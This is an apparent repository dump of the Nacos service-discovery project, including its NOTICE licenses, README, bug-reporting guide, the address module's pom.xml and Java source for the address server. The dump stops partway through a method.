    "content": "Nacos\nCopyright 2018-2020\n\nThis product includes software developed at\nThe Alibaba MiddleWare Group.\n\n------\nThis product has a bundle Spring Boot:\n                            The Spring Boot Project\n                            =================\n\nPlease visit the Spring Boot web site for more information:\n\n  * https://spring.io/projects/spring-boot\n\nCopyright 2014 The Spring Boot Project\n\nThe Spring Boot Project licenses this file to you under the Apache License,\nversion 2.0 (the \"License\"); you may not use this file except in compliance\nwith the License. You may obtain a copy of the License at:\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\nWARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\nLicense for the specific language governing permissions and limitations\nunder the License.\n\nAlso, please refer to each LICENSE.<component>.txt file, which is located in\nthe 'license' directory of the distribution file, for the license terms of the\ncomponents that this product depends on.\n\n------\nThis product has a bundle Spring Framework:\n                            Spring Framework\n                            =================\n\nPlease visit the git for more information:\n\n  * https://github.com/spring-projects/spring-framework.git\n\nCopyright 2002-2020 the original author or authors.\n\nThe Spring Framework licenses this file to you under the Apache License,\nversion 2.0 (the \"License\"); you may not use this file except in compliance\nwith the License. You may obtain a copy of the License at:\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\nWARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\nLicense for the specific language governing permissions and limitations\nunder the License.\n\nAlso, please refer to each LICENSE.<component>.txt file, which is located in\nthe 'license' directory of the distribution file, for the license terms of the\ncomponents that this product depends on.\n\n------\ncom.alibaba.nacos.common.utils.InetAddressValidator.java in this product is\ncopied from com.dynatrace.openkit.core.util.InetAddressValidator.java  of openkit-java project.\nhttps://github.com/Dynatrace/openkit-java\n                          openkit-java\n                    ======================\n\n     Copyright 2018-2021 Dynatrace LLC\n\n     Licensed under the Apache License, Version 2.0 (the \"License\");\n     you may not use this file except in compliance with the License.\n     You may obtain a copy of the License at\n\n         http://www.apache.org/licenses/LICENSE-2.0\n\n     Unless required by applicable law or agreed to in writing, software\n     distributed under the License is distributed on an \"AS IS\" BASIS,\n     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n     See the License for the specific language governing permissions and\n     limitations under the License.\n\n------\nThis product has a bundle Protocol Buffers��\n                      Protocol Buffers\n                   =======================\nProtocol Buffers for Go with Gadgets\n\nCopyright (c) 2013, The GoGo Authors. All rights reserved.\nhttp://github.com/gogo/protobuf\n\n------\nThis product has a bundle Istio��\n                          Istio\n                   =======================\n\n   Copyright 2018 Istio Authors\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "\n<img src=\"doc/Nacos_Logo.png\" width=\"50%\" syt height=\"50%\" />\n\n# Nacos: Dynamic  *Na*ming and *Co*nfiguration *S*ervice\n\n[![Gitter](https://badges.gitter.im/alibaba/nacos.svg)](https://gitter.im/alibaba/nacos?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)   [![License](https://img.shields.io/badge/license-Apache%202-4EB1BA.svg)](https://www.apache.org/licenses/LICENSE-2.0.html)\n[![Gitter](https://travis-ci.org/alibaba/nacos.svg?branch=master)](https://travis-ci.org/alibaba/nacos)\n[![](https://img.shields.io/badge/Nacos-Check%20Your%20Contribution-orange)](https://opensource.alibaba.com/contribution_leaderboard/details?projectValue=nacos)\n[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/alibaba/nacos)\n\n-------\n\n## What does it do\n\nNacos (official site: [nacos.io](https://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.\n\nService is a first-class citizen in Nacos. Nacos supports almost all type of services，for example，[Dubbo/gRPC service](https://nacos.io/docs/latest/ecology/use-nacos-with-dubbo/), [Spring Cloud RESTFul service](https://nacos.io/docs/latest/ecology/use-nacos-with-spring-cloud/) or [Kubernetes service](https://nacos.io/docs/latest/quickstart/quick-start-kubernetes/).\n\nNacos provides four major functions.\n\n* **Service Discovery and Service Health Check** \n    \n    Nacos makes it simple for services to register themselves and to discover other services via a DNS or HTTP interface. Nacos also provides real-time health checks of services to prevent sending requests to unhealthy hosts or service instances.\n\n* **Dynamic Configuration Management**\n  \n    Dynamic Configuration Service allows you to manage configurations of all services in a centralized and dynamic manner across all environments. Nacos eliminates the need to redeploy applications and services when configurations are updated, which makes configuration changes more efficient and agile.\n\n* **Dynamic DNS Service**\n    \n    Nacos supports weighted routing, making it easier for you to implement mid-tier load balancing, flexible routing policies, flow control, and simple DNS resolution services in the production environment within your data center. It helps you to implement DNS-based service discovery easily and prevent applications from coupling to vendor-specific service discovery APIs.\n\n* **Service and MetaData Management**\n\t\n    Nacos provides an easy-to-use service dashboard to help you manage your services metadata, configuration, kubernetes DNS, service health and metrics statistics.\n \n\n## Quick Start\nIt is super easy to get started with your first project.\n\n### Deploying Nacos on cloud\n\nYou can deploy Nacos on cloud, which is the easiest and most convenient way to start Nacos. \n\nUse the following [Nacos deployment guide](https://cn.aliyun.com/product/aliware/mse?spm=nacos-website.topbar.0.0.0) to see more information and deploy a stable and out-of-the-box Nacos server.\n\n\n### Start by the provided startup package\n\n#### Step 1: Download the binary package \n\nYou can download the package from the [latest stable release](https://github.com/alibaba/nacos/releases).  \n\nTake release `nacos-server-1.0.0.zip` for example:\n```sh\nunzip nacos-server-1.0.0.zip\ncd nacos/bin \n``` \n\n#### Step 2: Start Server\n\nOn the **Linux/Unix/Mac** platform, run the following command to start server with standalone mode: \n```sh\nsh startup.sh -m standalone\n```\n\nOn the **Windows** platform, run the following command to start server with standalone mode.  Alternatively, you can also double-click the `startup.cmd` to run NacosServer.\n```\nstartup.cmd -m standalone\n```\n\nFor more details, see [quick-start.](https://nacos.io/docs/latest/quickstart/quick-start/)\n\n## Quick start for other open-source projects:\n* [Quick start with Nacos command and console](https://nacos.io/docs/latest/quickstart/quick-start/)\n\n* [Quick start with dubbo](https://nacos.io/docs/latest/ecology/use-nacos-with-dubbo/)\n\n* [Quick start with spring cloud](https://nacos.io/docs/latest/ecology/use-nacos-with-spring-cloud/)\n\n* [Quick start with kubernetes](https://nacos.io/docs/latest/quickstart/quick-start-kubernetes/)\n\n\n## Documentation\n\nYou can view the full documentation from the [Nacos website](https://nacos.io/docs/latest/overview/).\n\nYou can also read this online eBook from the [NACOS ARCHITECTURE & PRINCIPLES](https://nacos.io/docs/ebook/kbyo6n/).\n\nAll the latest and long-term notice can also be found here from [GitHub notice issue](https://github.com/alibaba/nacos/labels/notice).\n\n## Contributing\n\nContributors are welcomed to join Nacos project. Please check [CONTRIBUTING](./CONTRIBUTING.md) about how to contribute to this project.\n\n### How can I contribute?\n\n* Take a look at issues with tags marked [`good first issue`](https://github.com/alibaba/nacos/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) or [`contribution welcome`](https://github.com/alibaba/nacos/issues?q=is%3Aopen+is%3Aissue+label%3A%22contribution+welcome%22).\n* Answer questions on [issues](https://github.com/alibaba/nacos/issues).\n* Fix bugs reported on [issues](https://github.com/alibaba/nacos/issues), and send us a pull request.\n* Review the existing [pull request](https://github.com/alibaba/nacos/pulls).\n* Improve the [website](https://github.com/nacos-group/nacos-group.github.io), typically we need\n  * blog post\n  * translation on documentation\n  * use cases around the integration of Nacos in enterprise systems.\n\n## Other Related Project Repositories\n\n* [nacos-spring-project](https://github.com/nacos-group/nacos-spring-project) provides the integration functionality for Spring.\n* [nacos-group](https://github.com/nacos-group) is the repository that hosts the eco tools for Nacos, such as SDK, synchronization tool, etc.\n* [spring-cloud-alibaba](https://github.com/spring-cloud-incubator/spring-cloud-alibaba) provides the one-stop solution for application development over Alibaba middleware which includes Nacos.\n\n## Contact\n\n* [Gitter](https://gitter.im/alibaba/nacos): Nacos's IM tool for community messaging, collaboration and discovery.\n* [Twitter](https://twitter.com/nacos2): Follow along for latest nacos news on Twitter.\n* [Weibo](https://weibo.com/u/6574374908): Follow along for latest nacos news on Weibo (Twitter of China version).\n* [Nacos Segmentfault](https://segmentfault.com/t/nacos): Get latest notice and prompt help from Segmentfault.\n* Email Group:\n     * users-nacos@googlegroups.com: Nacos usage general discussion.\n     * dev-nacos@googlegroups.com: Nacos developer discussion (APIs, feature design, etc).\n     * commits-nacos@googlegroups.com: Commits notice, very high frequency.\n* Join us from DingDing(Group 1: 21708933(full), Group 2: 30438813(full), Group 3: 31222241(full), Group 4: 12810027056). \n\n### DingDing Group QR Code\n\n![](https://cdn.nlark.com/yuque/0/2025/png/1577777/1750054497446-f834cba6-fa83-4421-b202-a0dc1d5cc28b.png)\n\n### DingDing MCP Group QR Code\n\n![](https://cdn.nlark.com/yuque/0/2025/png/1577777/1750054500395-e271cbe4-2dd8-4723-8cd0-bd8a731b812a.png)\n\n### WeChat Group QR Code\n\n![](https://cdn.nlark.com/yuque/0/2025/png/1577777/1750054421702-a7d1421a-ab8e-42da-bc59-01b5d287b290.png)\n\n## Enterprise Service\nIf you need Nacos enterprise service support, or purchase cloud product services, you can join the discussion by scanning the following DingTalk group. It can also be directly activated and used through the microservice engine (MSE) provided by Alibaba Cloud.\nhttps://cn.aliyun.com/product/aliware/mse?spm=nacos-website.topbar.0.0.0\n\n<img src=\"https://img.alicdn.com/imgextra/i3/O1CN01RTfN7q1KUzX4TcH08_!!6000000001168-2-tps-864-814.png\" width=\"500\">\n\n\n## Download\n\n- [Nacos Official Website](https://nacos.io/download/nacos-server)\n- [GitHub Release](https://github.com/alibaba/nacos/releases)\n  \n## Who is using\n\nThese are only part of the companies using Nacos, for reference only. If you are using Nacos, please [add your company here](https://github.com/alibaba/nacos/issues/273) to tell us your scenario to make Nacos better.\n\n<table>\n  <tr>\n    <td><img src=\"https://data.alibabagroup.com/ecms-files/886024452/296d05a1-c52a-4f5e-abf2-0d49d4c0d6b3.png\"  alt=\"Alibaba Group\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://a.msstatic.com/huya/main/img/logo.png\"  alt=\"虎牙直播\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png\"  alt=\"ICBC\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://pic2.iqiyipic.com/lequ/20220422/e7fe69c75e2541f2a931c9e538e2ab9d.jpg\"  alt=\"爱奇艺\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1pwi9EwHqK1RjSZJnXXbNLpXa-479-59.png\"  alt=\"平安科技\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1MZWSEzDpK1RjSZFrXXa78VXa-269-69.png\"  alt=\"华夏信财\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.urwork.cn/public/images/ui/logo.png\"  alt=\"优客工场\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1ebu.EAvoK1RjSZFwXXciCFXa-224-80.png\"  alt=\"贝壳找房\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1lxu7EBLoK1RjSZFuXXXn0XXa-409-74.png\"  alt=\"瑞安农村商业银行\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1L16eEzTpK1RjSZKPXXa3UpXa-302-50.png\"  alt=\"司法大数据\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.souyidai.com/www-style/images/logo.gif\"  alt=\"搜易贷\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1OigyDyLaK1RjSZFxXXamPFXa-168-70.png\"  alt=\"平行云\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1gJ4vIhTpK1RjSZR0XXbEwXXa-462-60.jpg\"  alt=\"甘肃紫光\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"http://www.seaskylight.com/cn/uploadfiles/image/logo.png\"  alt=\"海云天\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1DZWSEzDpK1RjSZFrXXa78VXa-240-62.png\"  alt=\"Acmedcare+\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png\"  alt=\"北京天合互联信息有限公司\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"http://www.mwclg.com/static-resource/front/images/home/img_logo_nav.png\"  alt=\"上海密尔克卫化工\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.synwe.com/logo-full.png\"  alt=\"大连新唯\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://user-images.githubusercontent.com/10215557/51593180-7563af00-1f2c-11e9-95b1-ec2c645d6a0b.png\"  alt=\"立思辰\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1zWW2EpYqK1RjSZLeXXbXppXa-262-81.png\"  alt=\"东家\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"http://www.sh-guiyao.com/images/logo.jpg\"  alt=\"上海克垚\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"http://www.lckjep.com:80//theme/img/logoTop.png\"  alt=\"联采科技\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1G216EsbpK1RjSZFyXXX_qFXa-325-53.jpg\"  alt=\"南京28研究所\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://p1.ifengimg.com/auto/image/2017/0922/auto_logo.png\"  alt=\"凤凰网-汽车\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"http://www.sinochemitech.com/zhxx/lib/images/-logo.png\"  alt=\"中化信息\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1DXerNgDqK1RjSZSyXXaxEVXa-333-103.png\"  alt=\"一点车\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1VfOANgHqK1RjSZFPXXcwapXa-313-40.png\"  alt=\"明传无线\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1lvCyNhTpK1RjSZFMXXbG_VXa-130-60.png\"  alt=\"妙优车\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1kY9qNgTqK1RjSZPhXXXfOFXa-120-50.png\"  alt=\"蜂巢\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1G.GBNbrpK1RjSZTEXXcWAVXa-234-65.png\"  alt=\"华存数据\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1qsurNgDqK1RjSZSyXXaxEVXa-300-90.png\"  alt=\"数云\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB13aywNhTpK1RjSZR0XXbEwXXa-98-38.png\"  alt=\"广通软件\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1xqmBNjTpK1RjSZKPXXa3UpXa-162-70.png\"  alt=\"菜菜\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB18DmINcfpK1RjSZFOXXa6nFXa-200-200.png\"  alt=\"科蓝公司\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB15uqANXzqK1RjSZFoXXbfcXXa-188-86.png\"  alt=\"浩鲸\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1mvmyNkvoK1RjSZPfXXXPKFXa-238-46.png\"  alt=\"未名天日语\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1PSWsNmrqK1RjSZK9XXXyypXa-195-130.jpg\"  alt=\"金联创\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1k1qzNbvpK1RjSZFqXXcXUVXa-160-69.png\"  alt=\"同窗链\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1HdyvNmzqK1RjSZFLXXcn2XXa-143-143.jpg\"  alt=\"顺能\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1UdaGNgHqK1RjSZJnXXbNLpXa-277-62.png\"  alt=\"百世快递\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB17OqENbrpK1RjSZTEXXcWAVXa-240-113.jpg\"  alt=\"汽车之家\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1q71ANkvoK1RjSZPfXXXPKFXa-257-104.png\"  alt=\"鲸打卡\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1UzuyNhTpK1RjSZR0XXbEwXXa-201-86.jpg\"  alt=\"时代光华\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB19RCANgHqK1RjSZFPXXcwapXa-180-180.jpg\"  alt=\"康美\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1iCGyNb2pK1RjSZFsXXaNlXXa-143-143.jpg\"  alt=\"环球易购\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://avatars0.githubusercontent.com/u/16344119?s=200&v=4\"  alt=\"Nepxion\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1aUe5EpzqK1RjSZSgXXcpAVXa-248-124.png\"  alt=\"chigua\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1H9O5EAvoK1RjSZFNXXcxMVXa-221-221.jpg\"  alt=\"宅无限\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1rNq4EwHqK1RjSZFgXXa7JXXa-200-200.jpg\"  alt=\"天阙\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1CRAxDxYaK1RjSZFnXXa80pXa-190-190.jpg\"  alt=\"联合永道\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img.alicdn.com/tfs/TB1.q14ErrpK1RjSZTEXXcWAVXa-219-219.jpg\"  alt=\"明源云\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.daocloud.io/static/Logo-Light.png\"  alt=\"DaoCloud\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://www.meicai.cn/img/logo.9210b6eb.jpg\"  alt=\"美菜\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://img5.tianyancha.com/logo/lll/3aad34039972b57e70874df8c919ae8b.png@!f_200x200\"  alt=\"松格科技\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.jsic-tech.com/Public/uploads/20191206/5de9b9baac696.jpg\"  alt=\"集萃智能\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.wuuxiang.com/theme/images/common/logo1.png\"  alt=\"吾享\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"http://www.tpson.cn/static/upload/image/20230111/1673427385140440.png\"  alt=\"拓深科技\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.sunline.cn/u_file/fileUpload/2021-06/25/2021062586431.png\"  alt=\"长亮科技\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"http://pmt2f499f.pic44.websiteonline.cn/upload/wv0c.png\"  alt=\"深圳易停车库\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"http://www.dragonwake.cn/static/css/default/img/logo.png\"  alt=\"武汉日创科技\" width=\"180\" height=\"120\"></td>\n  </tr>\n  <tr>\n    <td><img src=\"https://i4im-web.oss-cn-shanghai.aliyuncs.com/images/logo.png\"  alt=\"易管智能\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.yunzhangfang.com/assets/img/logo.4096cf52.png\"  alt=\"云帐房\" width=\"180\" height=\"120\"></td>\n    <td><img src=\"https://www.sinocare.com/sannuo/templates/web/img/bocweb-logo.svg\"  alt=\"三诺生物\" width=\"180\" height=\"120\"></td>\n    <td></td>\n  </tr>\n  <tr>\n    <td>郑州山水</td>\n    <td>知氏教育</td>\n    <td></td>\n    <td></td>\n  </tr>\n</table>\n"
  },
  {
    "path": "REPORTING-BUGS.md",
    "content": "# How to report bugs\n\nIf any part of the Nacos project has bugs or documentation mistakes, please let us know by [opening an issue][Nacos-issue]. We treat bugs and mistakes very seriously and believe no issue is too small, anyone is implement. Before creating a bug report, please check that an issue reporting the same problem does not already exist.\n\nTo make the bug report accurate and easy to understand, please try to create bug reports that are:\n\n- Specific. Include as many details as possible: which version, what environment, what configuration, etc. If the bug is related to running the Nacos server, please attach the Nacos log (the starting log with Nacos configuration is especially important).\n\n- Reproducible. Include the steps to reproduce the problem. We understand some issues might be hard to reproduce, please includes the steps that might lead to the problem. If possible, please attach the affected Nacos data dir and stack strace to the bug report.\n\n- Unique. Do not duplicate the existing bug report.\n\n\nIt may be worthwhile to read [Elika Etemad’s article on filing good bug reports][filing-good-bugs] before creating a bug report.\n\nWe might ask for further information to locate a bug. A duplicated bug report will be closed.\n\n[etcd-issue]: https://github.com/etcd-io/etcd/issues/new\n[filing-good-bugs]: http://fantasai.inkedblade.net/style/talks/filing-good-bugs/\n\n\n# 如何提交错误报告\n\n如果Nacos项目的任何部分存在问题或文档问题，请通过[opening an issue][Nacos-issue]告诉我们。我们非常认真地对待错误和缺陷，在产品面前没有不重要的问题。不过在创建错误报告之前，请检查是否存在报告相同问题的issues。\n\n为了使错误报告准确且易于理解，请尝试创建以下错误报告：\n\n- 具体到细节。包括尽可能多的细节：哪个版本，什么环境，什么配置等。如果错误与运行Nacos服务器有关，请附加Nacos日志（具有Nacos配置的起始日志尤为重要）。\n\n- 可复现。包括重现问题的步骤。我们理解某些问题可能难以重现，请包括可能导致问题的步骤。如果可能，请将受影响的Nacos数据目录和堆栈strace附加到错误报告中。\n\n- 不重复。不要复制现有的错误报告。\n\n在创建错误报告之前，最好阅读下[Elika Etemad关于提交好错误报告的文章] [归档好错误]，相信 会给你启发。\n\n我们可能会要求您提供更多信息以查找错误。将关闭重复的错误报告。\n\n[etcd-issue]：https：//github.com/etcd-io/etcd/issues/new\n[filing-good-bugs]：http：//fantasai.inkedblade.net/style/talks/filing-good-bugs/\n"
  },
  {
    "path": "address/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 1999-2018 Alibaba Group Holding Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n    xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <artifactId>nacos-all</artifactId>\n        <groupId>com.alibaba.nacos</groupId>\n        <version>${revision}</version>\n    </parent>\n    \n    <modelVersion>4.0.0</modelVersion>\n    <artifactId>nacos-address</artifactId>\n    <packaging>jar</packaging>\n    \n    <name>nacos-address ${project.version}</name>\n    <url>https://nacos.io</url>\n    \n    <dependencies>\n        <dependency>\n            <groupId>${project.groupId}</groupId>\n            <artifactId>nacos-naming</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>${project.groupId}</groupId>\n                    <artifactId>nacos-cmdb</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n    \n    <build>\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n        </resources>\n    </build>\n    \n    <reporting>\n        <plugins>\n            <plugin>\n                <groupId>com.github.spotbugs</groupId>\n                <artifactId>spotbugs-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </reporting>\n    \n    <profiles>\n        <profile>\n            <id>release-address</id>\n            <build>\n                <finalName>nacos-address</finalName>\n                <plugins>\n                    <plugin>\n                        <artifactId>maven-jar-plugin</artifactId>\n                        <configuration>\n                            <archive>\n                                <manifest>\n                                    <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                                    <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                                </manifest>\n                            </archive>\n                        </configuration>\n                    </plugin>\n                    <plugin>\n                        <groupId>org.springframework.boot</groupId>\n                        <artifactId>spring-boot-maven-plugin</artifactId>\n                        <configuration>\n                            <mainClass>com.alibaba.nacos.address.AddressServer</mainClass>\n                        </configuration>\n                        <executions>\n                            <execution>\n                                <goals>\n                                    <goal>repackage</goal>\n                                </goals>\n                            </execution>\n                        </executions>\n                    </plugin>\n                </plugins>\n            </build>\n        </profile>\n    </profiles>\n</project>\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/AddressServer.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * support address server.\n *\n * @author nacos\n * @since 1.1.0\n */\n@SpringBootApplication(scanBasePackages = \"com.alibaba.nacos\")\npublic class AddressServer {\n    \n    public static void main(String[] args) {\n        \n        SpringApplication.run(AddressServer.class, args);\n    }\n}\n"
  },
  {
    "path": "address/src/main/java/com/alibaba/nacos/address/component/AddressServerGeneratorManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.address.component;\n\nimport com.alibaba.nacos.address.constant.AddressServerConstants;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.InternetAddressUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\n/**\n * will generator some result by the input parameter.\n *\n * @author pbting\n * @date 2019-07-01 8:53 PM\n * @since 1.1.0\n */\n@Component\npublic class AddressServerGeneratorManager {\n    \n    /**\n     * Generate product name.\n     *\n     * @param name name\n     * @return product\n     */\n    public String generateProductName(String name) {\n        \n        if (StringUtils.isBlank(name) || AddressServerConstants.DEFAULT_PRODUCT.equals(name)) {\n            \n            return AddressServerConstants.ALIWARE_NACOS_DEFAULT_PRODUCT_NAME;\n        }\n        \n        return String.format(AddressServerConstants.ALIWARE_NACOS_PRODUCT_DOM_TEMPLATE, name);\n    }\n    \n    /**\n     * Note: if the parameter inputted is empty then will return the empty list.\n     *\n     * @param serviceName service name\n     * @param clusterName cluster name\n     * @param ipArray array of ips\n     * @return instance list\n     */\n    public List<Instance> generateInstancesByIps(String serviceName, String rawProductName, String clusterName,\n            String[] ipArray) {\n        if (StringUtils.isEmpty(serviceName) || StringUtils.isEmpty(clusterName) || ipArray == null\n                || ipArray.length == 0) {\n            return Collections.emptyList();\n        }\n        \n        List<Instance> instanceList = new ArrayList<>(ipArray.length);\n        for (String ip : ipArray) {\n            String[] ipAndPort = generateIpAndPort(ip);\n            Instance instance = new Instance();\n            instance.setIp(ipAndPort[0]);\n            instance.setPort(Integer.parseInt(ipAndPort[1]));\n            instance.setClusterName(clusterName);\n            instance.setServiceName(serviceName);\n            instance.setEphemeral(false);\n            instance.getMetadata().put(\"app\", rawProductName);\n            instance.getMetadata().put(\"tenant\", 